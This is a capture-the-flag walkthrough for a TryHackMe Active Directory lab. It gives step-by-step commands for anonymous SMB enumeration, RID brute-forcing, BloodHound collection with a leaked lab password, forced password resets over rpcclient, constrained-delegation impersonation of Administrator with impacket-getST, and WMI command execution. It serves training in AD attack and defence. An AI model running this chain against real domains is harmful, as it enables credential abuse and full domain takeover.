Reset writeup & walkthrough

Reset is a medium TryHackMe Windows Active Directory room with SMB enumeration, BloodHound-guided attack paths, and Kerberos abuse for domain compromise.

thm-reset

Access Path

no access => domain user => delegated user => Administrator

The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level. ---

Hostname Setup

Add the target to /etc/hosts so names resolve.

# Add the target to /etc/hosts for resolution
vim /etc/hosts
# HayStack.thm.corp HayStack

Initial SMB Enumeration

Anonymous SMB lists shares; the Data share is readable, so we recursively download the onboarding files.

# List SMB shares anonymously
smbclient -L //10.10.130.147 -N

# Connect to the 'Data' share anonymously
smbclient //10.10.130.147/Data -N

# Enable recursive download mode
prompt OFF
recurse ON

# Navigate to onboarding directory and download all files
cd 'onboarding'
mget *

RID Brute-Force for User Enumeration

RID brute-forcing over SMB enumerates domain usernames, which we clean into a usernames list.

# Enumerate users via RID brute force
nxc smb t1 -u 'anonymous' -p '' --rid-brute > rid_users.txt

# Clean usernames and save to file
cat rid_users.txt | awk '{print $6}' | sed 's/^THM\\//' > clean_users.txt

Authenticated BloodHound Enumeration

With credentials found in the share, we run bloodhound-python and upload the data to map privilege paths.

# Use valid creds for full domain enumeration
sudo bloodhound-python \
  -u TABATHA_BRITT \
  -p 'marlboro(1985)' \
  -d thm.corp \
  -dc HayStack.thm.corp \
  -c all 

# Upload BloodHound data for analysis
./bloodhound_cli up

Privilege Escalation Path (Found via BH)

BloodHound reveals a chain: TABATHA_BRITT has GenericAll over a user, leading through ForceChangePassword and ownership to a delegation that reaches the domain.

# Path:
# TABATHA_BRITT 
#   └── GenericAll over USER_A
#         └── ForceChangePassword on USER_B
#               └── Owns USER_C
#                     └── AllowedToDelegate to DOMAIN

Abuse GenericAll → ForceChangePassword

Use the GenericAll right to reset the next user's password without knowing the old one, then confirm the new credentials.

# Change USER_A password without knowing the old one
rpcclient -U 'THM.CORP\TABATHA_BRITT%marlboro(1985)' 10.10.152.178 \
  -c 'setuserinfo2 USER_A 23 "NewPass123!"'

# Verify new credentials
nxc smb 10.10.152.178 -u USER_A -p 'NewPass123!'

Abuse Delegation to Get DA TGT

Abuse constrained delegation with getST to impersonate Administrator and obtain a service ticket.

# Request a service ticket as Administrator via impersonation
impacket-getST thm.corp/DARLA_WINTERS:'NewPass123!' \
  -spn cifs/HayStack.thm.corp \
  -impersonate Administrator \
  -dc-ip 10.10.152.178

DA Access via WMI Exec

Use the Kerberos ticket to execute commands as Administrator over WMI for full domain compromise.

# Execute commands as Administrator with Kerberos ticket
impacket-wmiexec -k -no-pass THM.CORP/[email protected]